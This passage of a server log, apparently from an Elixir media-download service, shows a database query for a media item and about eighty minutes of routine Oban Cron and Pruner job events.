m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["bd93a2b2-5dda-4c39-98e3-b7fba5af7fde"] 03:05:56.089 [debug] Invalid range request for media item: bd93a2b2-5dda-4c39-98e3-b7fba5af7fde - serving full file 03:05:56.089 [info] Sent 200 in 1ms 03:06:00.296 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:13.981 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:43.983 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.297 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:13.985 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:43.987 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.298 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:13.989 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:43.991 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.299 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:13.993 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:43.995 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.300 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:13.997 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:43.999 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.301 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:14.001 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:44.003 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.302 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:14.006 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:44.008 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.303 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:14.010 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:44.012 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.304 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:14.014 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:44.016 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.305 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:14.018 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:44.020 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.306 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:14.022 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:44.024 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.307 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:14.026 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:44.028 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.308 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:14.030 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:44.032 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.309 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:14.034 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:44.036 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.310 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:14.038 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:44.040 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.311 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:14.042 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:44.044 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.312 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:14.046 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:44.048 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.313 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:14.050 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:44.052 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.314 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:14.054 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:44.056 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.315 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:14.058 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:44.060 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.316 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:14.062 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:44.064 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.317 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:14.066 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:44.068 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.318 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:14.070 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:44.072 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.319 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:14.074 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:44.076 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.320 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:14.078 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:44.080 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.321 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:14.082 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:44.084 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.322 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:14.086 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:44.088 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.324 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:14.090 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:44.092 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.325 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:14.094 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:44.096 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.326 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:14.098 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:44.100 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.327 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:14.102 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:44.104 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.328 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:14.106 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:44.107 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.329 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:14.110 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:44.112 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.330 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:14.114 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:44.116 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.331 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:14.118 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:44.120 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.332 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:14.122 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:44.124 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.333 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:14.127 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:44.129 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.334 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:14.131 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:44.133 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.335 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:14.135 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:44.137 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.336 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:14.139 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:44.141 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.337 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:14.143 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:44.145 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.338 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:14.147 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:44.149 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.339 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:14.151 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:44.153 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.340 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:14.155 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:44.157 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.341 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:14.159 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:44.161 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.342 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:14.162 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:44.165 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.343 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:14.167 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:44.169 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.344 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:14.171 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:44.173 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.345 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:14.175 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:44.177 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.346 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:14.179 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:44.181 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.347 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:14.183 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:44.185 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.348 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:14.187 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:44.189 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.349 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:14.191 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:44.193 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.350 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:14.195 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:44.197 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.351 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:14.199 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:44.201 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.352 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:14.203 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:44.205 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.353 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:14.207 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:44.209 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.354 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:14.211 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:44.213 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.355 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:14.215 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:44.217 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.356 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:14.219 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:44.221 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.357 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:14.223 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:44.225 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.358 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:14.227 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:44.229 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.359 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:14.231 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:44.233 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.360 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:14.235 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:44.237 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.361 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:14.239 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:44.241 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.362 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:14.243 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:44.245 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.363 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:14.247 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:44.249 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.364 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:14.251 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:44.252 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.365 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:14.255 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:44.257 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.366 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:14.259 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:44.261 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.367 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:14.263 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:44.265 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.368 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:14.267 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:44.269 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.369 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:14.271 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:44.273 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.370 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:14.275 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:44.277 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.371 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:14.279 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:44.281 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.372 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:14.283 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:44.285 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.373 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:14.287 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:44.289 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.374 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:14.291 